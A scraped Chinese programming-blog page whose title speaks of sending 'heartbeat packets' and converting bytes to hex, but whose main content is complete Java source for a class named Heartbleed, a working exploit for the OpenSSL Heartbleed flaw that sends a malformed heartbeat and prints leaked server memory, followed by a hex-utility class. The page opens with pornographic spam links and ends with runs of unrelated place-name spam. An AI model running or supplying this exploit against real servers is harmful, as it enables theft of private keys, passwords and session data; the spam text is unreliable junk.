最新国产好看的视频,伊人天堂AV在线,国产Aaaaaa视频,蜜臀视频在线观看一区,人妻av色图,密臀久久久精品影片,青青视频免费观看毛片,久草在线观看视,国产三级精品色情在线

java發(fā)送heartbeat心跳包(byte轉(zhuǎn)16進制)

 更新時間:2014年05月01日 07:56:01   作者:  
這篇文章主要介紹了java發(fā)送heartbeat心跳包(byte轉(zhuǎn)16進制),需要的朋友可以參考下

復(fù)制代碼 代碼如下:

package com.jxy.web;

import java.io.IOException;
import java.io.InputStream;
import java.io.OutputStream;
import java.io.UnsupportedEncodingException;
import java.net.Socket;
import java.net.UnknownHostException;

import com.jxy.tools.MyByte;

public class Heartbleed {
 private static byte[] hello = { (byte) 0x16, (byte) 0x03, (byte) 0x02,
   (byte) 0x00, (byte) 0xdc, (byte) 0x01, (byte) 0x00, (byte) 0x00,
   (byte) 0xd8, (byte) 0x03, (byte) 0x02, (byte) 0x53, (byte) 0x43,
   (byte) 0x5b, (byte) 0x90, (byte) 0x9d, (byte) 0x9b, (byte) 0x72,
   (byte) 0x0b, (byte) 0xbc, (byte) 0x0c, (byte) 0xbc, (byte) 0x2b,
   (byte) 0x92, (byte) 0xa8, (byte) 0x48, (byte) 0x97, (byte) 0xcf,
   (byte) 0xbd, (byte) 0x39, (byte) 0x04, (byte) 0xcc, (byte) 0x16,
   (byte) 0x0a, (byte) 0x85, (byte) 0x03, (byte) 0x90, (byte) 0x9f,
   (byte) 0x77, (byte) 0x04, (byte) 0x33, (byte) 0xd4, (byte) 0xde,
   (byte) 0x00, (byte) 0x00, (byte) 0x66, (byte) 0xc0, (byte) 0x14,
   (byte) 0xc0, (byte) 0x0a, (byte) 0xc0, (byte) 0x22, (byte) 0xc0,
   (byte) 0x21, (byte) 0x00, (byte) 0x39, (byte) 0x00, (byte) 0x38,
   (byte) 0x00, (byte) 0x88, (byte) 0x00, (byte) 0x87, (byte) 0xc0,
   (byte) 0x0f, (byte) 0xc0, (byte) 0x05, (byte) 0x00, (byte) 0x35,
   (byte) 0x00, (byte) 0x84, (byte) 0xc0, (byte) 0x12, (byte) 0xc0,
   (byte) 0x08, (byte) 0xc0, (byte) 0x1c, (byte) 0xc0, (byte) 0x1b,
   (byte) 0x00, (byte) 0x16, (byte) 0x00, (byte) 0x13, (byte) 0xc0,
   (byte) 0x0d, (byte) 0xc0, (byte) 0x03, (byte) 0x00, (byte) 0x0a,
   (byte) 0xc0, (byte) 0x13, (byte) 0xc0, (byte) 0x09, (byte) 0xc0,
   (byte) 0x1f, (byte) 0xc0, (byte) 0x1e, (byte) 0x00, (byte) 0x33,
   (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x9a, (byte) 0x00,
   (byte) 0x99, (byte) 0x00, (byte) 0x45, (byte) 0x00, (byte) 0x44,
   (byte) 0xc0, (byte) 0x0e, (byte) 0xc0, (byte) 0x04, (byte) 0x00,
   (byte) 0x2f, (byte) 0x00, (byte) 0x96, (byte) 0x00, (byte) 0x41,
   (byte) 0xc0, (byte) 0x11, (byte) 0xc0, (byte) 0x07, (byte) 0xc0,
   (byte) 0x0c, (byte) 0xc0, (byte) 0x02, (byte) 0x00, (byte) 0x05,
   (byte) 0x00, (byte) 0x04, (byte) 0x00, (byte) 0x15, (byte) 0x00,
   (byte) 0x12, (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x14,
   (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x08, (byte) 0x00,
   (byte) 0x06, (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0xff,
   (byte) 0x01, (byte) 0x00, (byte) 0x00, (byte) 0x49, (byte) 0x00,
   (byte) 0x0b, (byte) 0x00, (byte) 0x04, (byte) 0x03, (byte) 0x00,
   (byte) 0x01, (byte) 0x02, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
   (byte) 0x34, (byte) 0x00, (byte) 0x32, (byte) 0x00, (byte) 0x0e,
   (byte) 0x00, (byte) 0x0d, (byte) 0x00, (byte) 0x19, (byte) 0x00,
   (byte) 0x0b, (byte) 0x00, (byte) 0x0c, (byte) 0x00, (byte) 0x18,
   (byte) 0x00, (byte) 0x09, (byte) 0x00, (byte) 0x0a, (byte) 0x00,
   (byte) 0x16, (byte) 0x00, (byte) 0x17, (byte) 0x00, (byte) 0x08,
   (byte) 0x00, (byte) 0x06, (byte) 0x00, (byte) 0x07, (byte) 0x00,
   (byte) 0x14, (byte) 0x00, (byte) 0x15, (byte) 0x00, (byte) 0x04,
   (byte) 0x00, (byte) 0x05, (byte) 0x00, (byte) 0x12, (byte) 0x00,
   (byte) 0x13, (byte) 0x00, (byte) 0x01, (byte) 0x00, (byte) 0x02,
   (byte) 0x00, (byte) 0x03, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
   (byte) 0x10, (byte) 0x00, (byte) 0x11, (byte) 0x00, (byte) 0x23,
   (byte) 0x00, (byte) 0x00, (byte) 0x00, (byte) 0x0f, (byte) 0x00,
   (byte) 0x01, (byte) 0x01 };
 private static byte[] bleed = { (byte) 0x18, (byte) 0x03, (byte) 0x02,
   (byte) 0x00, (byte) 0x03, (byte) 0x01, (byte) 0xff, (byte) 0xff };
 private static byte[] tmp;
 private static byte[] pay;

 /**
  * SSL3_RT_CHANGE_CIPHER_SPEC 20
  * SSL3_RT_ALERT 21
  * SSL3_RT_HANDSHAKE 22
  * SSL3_RT_APPLICATION_DATA 23
  * TLS1_RT_HEARTBEAT 24
  *
  * @param args
  * @throws Exception
  */

 public static void main(String[] args) {
  attack("改為自己測試的主機", 465);
  System.exit(0);
 }

 public static boolean attack(String host, int port) {

  System.out.println("開始連接...");
  Socket socket = null;
  try {
   socket = new Socket(host, port);
  } catch (UnknownHostException e) {
   System.out.println("未知主機.");
   return false;
  } catch (IOException e) {
   System.out.println("訪問主機失敗.");
   return false;
  }
  OutputStream out = null;
  try {
   out = socket.getOutputStream();
  } catch (IOException e) {
   System.out.println("獲取輸出流失敗.");
   return false;
  }
  InputStream in = null;
  try {
   in = socket.getInputStream();
  } catch (IOException e) {
   System.out.println("獲取輸入流失敗.");
   return false;
  }

  System.out.println("發(fā)送客戶端心跳包...");

  try {
   out.write(hello);
  } catch (IOException e) {
   System.out.println("發(fā)送心跳包失敗.");
   return false;
  }

  System.out.println("等待服務(wù)器心跳包...");

  while (true) {
   tmp = getData(in, 5);
   if (tmp[0] == 0) {
    System.out.println("服務(wù)器沒有返回心跳包并且關(guān)閉了連接.");
    return false;
   }

   analyseHead(tmp);

   int len = (int) MyByte.HexString2Long(MyByte
     .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));

   pay = getData(in, len);

   if (tmp[0] == 22 && pay[0] == 0x0E) {
    System.out.println("查找到返回正常的心跳包。");
    break;
   }

  }

  System.out.println("發(fā)送heartbeat心跳包...");

  try {
   out.write(bleed);
  } catch (IOException e) {
   System.out.println("發(fā)送heartbeat心跳包失敗.");
   return false;
  }
  try {
   out.write(bleed);
  } catch (IOException e) {
   System.out.println("發(fā)送heartbeat心跳包失敗.");
   return false;
  }

  while (true) {
   tmp = getData(in, 5);
   int len = (int) MyByte.HexString2Long(MyByte
     .byteToHexString(tmp[3]) + MyByte.byteToHexString(tmp[4]));

   if (tmp[0] == 0) {
    System.out.println("沒有heartbeat返回接收到, 服務(wù)器看起來不是易受攻擊的");
    return false;
   }

   if (tmp[0] == 24) {
    System.out.println("接收到heartbeat返回:");

    int count=0;//長度計數(shù)
    for (int i = 0; i < 4; i++) {//讀4次,全部讀出64KB
     pay = getData(in, len);
     count+=pay.length;
     System.out.print(hexdump(pay));
    }

    System.out.println("\n數(shù)據(jù)長度為:" + count);

    if (len > 3) {
     System.out
       .println("警告: 服務(wù)器返回了原本比它多的數(shù)據(jù) -服務(wù)器是易受攻擊的!");
    } else {
     System.out
       .println("服務(wù)器返回畸形的heartbeat, 沒有返回其他額外的數(shù)據(jù)");
    }

    break;

   }

   if (tmp[0] == 21) {
    System.out.println("接收到警告:");
    System.out.println(hexdump(pay));
    System.out.println("服務(wù)器返回錯誤,看起來不是易受攻擊的");
    break;
   }

  }

  try {
   out.close();
   in.close();
  } catch (IOException e) {
   System.out.println("關(guān)閉輸入輸出流異常");
  }

  return true;
 }

 public static byte[] getData(InputStream in, int lenth) {
  byte[] t = new byte[lenth];
  try {
   in.read(t);
  } catch (IOException e) {
   System.out.println("接受數(shù)據(jù)錯誤");
  }
  return t;
 }

 public static String hexdump(byte[] pay) {
  String s = "";
  try {
   s = new String(pay, "GB2312");
  } catch (UnsupportedEncodingException e) {
   System.out.println("未知編碼");
  }
  return s;
 }

 public static void analyseHead(byte[] tmp) {
  System.out.print("接收到消息: ");
  System.out.print("類型:" + tmp[0] + "\t");
  System.out.print("版本:" + MyByte.byteToHexString(tmp[1])
    + MyByte.byteToHexString(tmp[2]) + "\t");
  System.out.println("長度:"
    + MyByte.HexString2Long(MyByte.byteToHexString(tmp[3])
      + MyByte.byteToHexString(tmp[4])));

 }

}

復(fù)制代碼 代碼如下:

package com.jxy.tools;

/**
 * 16進制值與String/Byte之間的轉(zhuǎn)換
 * */
public class MyByte {

 /**
  * 字符串轉(zhuǎn)換成十六進制字符串
  *
  * @param String
  *            str 待轉(zhuǎn)換的ASCII字符串
  * @return String 每個Byte之間空格分隔,如: [61 6C 6B]
  */
 public static String str2HexStr(String str) {

  char[] chars = "0123456789ABCDEF".toCharArray();
  StringBuilder sb = new StringBuilder("");
  byte[] bs = str.getBytes();
  int bit;

  for (int i = 0; i < bs.length; i++) {
   bit = (bs[i] & 0x0f0) >> 4;
   sb.append(chars[bit]);
   bit = bs[i] & 0x0f;
   sb.append(chars[bit]);
   sb.append(' ');
  }
  return sb.toString().trim();
 }

 /**
  * 十六進制轉(zhuǎn)換字符串
  *
  * @param String
  *            str Byte字符串(Byte之間無分隔符 如:[616C6B])
  * @return String 對應(yīng)的字符串
  */
 public static String hexStr2Str(String hexStr) {
  String str = "0123456789ABCDEF";
  char[] hexs = hexStr.toCharArray();
  byte[] bytes = new byte[hexStr.length() / 2];
  int n;

  for (int i = 0; i < bytes.length; i++) {
   n = str.indexOf(hexs[2 * i]) * 16;
   n += str.indexOf(hexs[2 * i + 1]);
   bytes[i] = (byte) (n & 0xff);
  }
  return new String(bytes);
 }

 /**
  * String的字符串轉(zhuǎn)換成unicode的String
  *
  * @param String
  *            strText 全角字符串
  * @return String 每個unicode之間無分隔符
  * @throws Exception
  */
 public static String strToUnicode(String strText) throws Exception {
  char c;
  StringBuilder str = new StringBuilder();
  int intAsc;
  String strHex;
  for (int i = 0; i < strText.length(); i++) {
   c = strText.charAt(i);
   intAsc = (int) c;
   strHex = Integer.toHexString(intAsc);
   if (intAsc > 128)
    str.append("\\u" + strHex);
   else
    // 低位在前面補00
    str.append("\\u00" + strHex);
  }
  return str.toString();
 }

 /**
  * unicode的String轉(zhuǎn)換成String的字符串
  *
  * @param String
  *            hex 16進制值字符串 (一個unicode為2byte)
  * @return String 全角字符串
  */
 public static String unicodeToString(String hex) {
  int t = hex.length() / 6;
  StringBuilder str = new StringBuilder();
  for (int i = 0; i < t; i++) {
   String s = hex.substring(i * 6, (i + 1) * 6);
   // 高位需要補上00再轉(zhuǎn)
   String s1 = s.substring(2, 4) + "00";
   // 低位直接轉(zhuǎn)
   String s2 = s.substring(4);
   // 將16進制的string轉(zhuǎn)為int
   int n = Integer.valueOf(s1, 16) + Integer.valueOf(s2, 16);
   // 將int轉(zhuǎn)換為字符
   char[] chars = Character.toChars(n);
   str.append(new String(chars));
  }
  return str.toString();
 }

 /**
  * 合并兩個byte數(shù)組
  *
  * @param pByteA
  * @param pByteB
  * @return
  */
 public static byte[] getMergeBytes(byte[] pByteA, byte[] pByteB) {
  int aCount = pByteA.length;
  int bCount = pByteB.length;
  byte[] b = new byte[aCount + bCount];
  for (int i = 0; i < aCount; i++) {
   b[i] = pByteA[i];
  }
  for (int i = 0; i < bCount; i++) {
   b[aCount + i] = pByteB[i];
  }
  return b;
 }

 /**
  * 截取byte數(shù)據(jù)
  *
  * @param b
  *            是byte數(shù)組
  * @param j
  *            是大小
  * @return
  */
 public static byte[] cutOutByte(byte[] b, int j) {
  if (b.length == 0 || j == 0) {
   return null;
  }
  byte[] tmp = new byte[j];
  for (int i = 0; i < j; i++) {
   tmp[i] = b[i];
  }
  return tmp;
 }

 /**
  * 16進制字符串轉(zhuǎn)換byte數(shù)組
  *
  * @param hexstr
  *            String 16進制字符串
  * @return byte[] byte數(shù)組
  */
 public static byte[] HexString2Bytes(String hexstr) {
  byte[] b = new byte[hexstr.length() / 2];
  int j = 0;
  for (int i = 0; i < b.length; i++) {
   char c0 = hexstr.charAt(j++);
   char c1 = hexstr.charAt(j++);
   b[i] = (byte) ((parse(c0) << 4) | parse(c1));
  }
  return b;
 }

 private static int parse(char c) {
  if (c >= 'a')
   return (c - 'a' + 10) & 0x0f;
  if (c >= 'A')
   return (c - 'A' + 10) & 0x0f;
  return (c - '0') & 0x0f;
 }

 /**
  * byte轉(zhuǎn)換為十六進制字符串,如果為9以內(nèi)的,用0補齊
  *
  * @param b
  * @return
  */
 public static String byteToHexString(byte b) {
  String stmp = Integer.toHexString(b & 0xFF);
  stmp = (stmp.length() == 1) ? "0" + stmp : stmp;
  return stmp.toUpperCase();
 }

 /**
  * 將byte轉(zhuǎn)換為int
  *
  * @param b
  * @return
  */
 public static int byteToInt(byte b) {
  return Integer.valueOf(b);
 }

 /**
  * bytes轉(zhuǎn)換成十六進制字符串
  *
  * @param byte[] b byte數(shù)組
  * @return String 每個Byte值之間空格分隔
  */
 public static String byteToHexString(byte[] b) {
  String stmp = "";
  StringBuilder sb = new StringBuilder("");
  for (byte c : b) {
   stmp = Integer.toHexString(c & 0xFF);// 與預(yù)算,去掉byte轉(zhuǎn)int帶來的補位
   sb.append((stmp.length() == 1) ? "0" + stmp : stmp);// 是一位的話填充零
   sb.append(" ");// 每位數(shù)據(jù)用空格分隔
  }
  return sb.toString().toUpperCase().trim();// 變換大寫,并去除首尾空格
 }

 public static long HexString2Long(String hexstr) {
  long sum=0;
  int length=hexstr.length();
  for (int i = 0; i < length; i++) {
   sum+=parse(hexstr.charAt(i))*Math.pow(16,length-i-1);
  }
  return sum;
 }
}

相關(guān)文章

  • Java 中的內(nèi)存映射 mmap

    Java 中的內(nèi)存映射 mmap

    這篇文章主要介紹了Java 中的內(nèi)存映射,mmap 是一種內(nèi)存映射文件的方法,即將一個文件映射到進程的地址空間,實現(xiàn)文件磁盤地址和一段進程虛擬地址的映射,下面來看看詳細內(nèi)容,需要的朋友可以參考一下
    2021-11-11
  • Java服務(wù)如何調(diào)用系統(tǒng)指令、Bat腳本記錄

    Java服務(wù)如何調(diào)用系統(tǒng)指令、Bat腳本記錄

    這篇文章主要介紹了Java服務(wù)如何調(diào)用系統(tǒng)指令、Bat腳本記錄,具有很好的參考價值,希望對大家有所幫助,如有錯誤或未考慮完全的地方,望不吝賜教
    2024-06-06
  • Java中io流解析及代碼實例

    Java中io流解析及代碼實例

    這篇文章主要介紹了Java中io流解析及代碼實例,具有一定借鑒價值,需要的朋友可以參考下
    2018-01-01
  • Java基礎(chǔ)之線程鎖相關(guān)知識總結(jié)

    Java基礎(chǔ)之線程鎖相關(guān)知識總結(jié)

    今天給大家?guī)淼氖顷P(guān)于Java線程的相關(guān)知識,文章圍繞著Java線程鎖展開,文中有非常詳細的介紹及代碼示例,需要的朋友可以參考下
    2021-06-06
  • Idea如何使用System.getenv()獲取環(huán)境變量的值

    Idea如何使用System.getenv()獲取環(huán)境變量的值

    文章介紹了如何在Java中使用`System.getenv()`方法讀取環(huán)境變量的值,并提供了兩種配置環(huán)境變量的方法:啟動項配置和系統(tǒng)環(huán)境變量配置,對于系統(tǒng)環(huán)境變量,文章特別指出需要重啟電腦或程序才能使其生效
    2024-11-11
  • java中List常用的4種stream()方法解析

    java中List常用的4種stream()方法解析

    Java中的List接口從Java 8開始新增了stream()方法,用于創(chuàng)建一個Stream流對象,這篇文章主要給大家介紹了關(guān)于java中List常用的4種stream()方法的相關(guān)資料,需要的朋友可以參考下
    2024-02-02
  • java查找字符串中的包含子字符串的個數(shù)實現(xiàn)代碼

    java查找字符串中的包含子字符串的個數(shù)實現(xiàn)代碼

    下面小編就為大家?guī)硪黄猨ava查找字符串中的包含子字符串的個數(shù)實現(xiàn)代碼。小編覺得挺不錯的,現(xiàn)在就分享給大家,也給大家做個參考。一起跟隨小編過來看看吧
    2016-06-06
  • Java實現(xiàn)讀取及生成Excel文件的方法

    Java實現(xiàn)讀取及生成Excel文件的方法

    這篇文章主要介紹了Java實現(xiàn)讀取及生成Excel文件的方法,結(jié)合實例形式分析了java通過引入第三方j(luò)ar包poi-3.0.1-FINAL-20070705.jar實現(xiàn)針對Excel文件的讀取及生成功能,需要的朋友可以參考下
    2017-12-12
  • 如何在Java中獲取當(dāng)前年份(實例代碼)

    如何在Java中獲取當(dāng)前年份(實例代碼)

    在Java語言中獲取當(dāng)前年份有幾種方法:使用java.util包下的Calendar類,使用java.time包下的LocalDate類或者使用java.text包下的SimpleDateFormat類,本文通過實例代碼給大家介紹的非常詳細,需要的朋友參考下吧
    2023-11-11
  • Java判斷ip是否為IPV4或IPV6地址的多種方式

    Java判斷ip是否為IPV4或IPV6地址的多種方式

    本文主要介紹了Java判斷ip是否為IPV4或IPV6地址的多種方式,文中通過示例代碼介紹的非常詳細,對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧
    2023-03-03

最新評論

石嘴山市| 玉树县| 沙雅县| 玛沁县| 呼玛县| 黑龙江省| 温州市| 夏邑县| 镇宁| 房山区| 冀州市| 丘北县| 新营市| 吉林省| 乌海市| 丽水市| 巴林左旗| 三原县| 巩留县| 醴陵市| 蒙自县| 定结县| 房产| 唐海县| 库尔勒市| 太白县| 通山县| 县级市| 巴林左旗| 沂源县| 沿河| 松滋市| 杭州市| 西乌珠穆沁旗| 铜川市| 舞阳县| 宿松县| 固原市| 商水县| 河东区| 钦州市|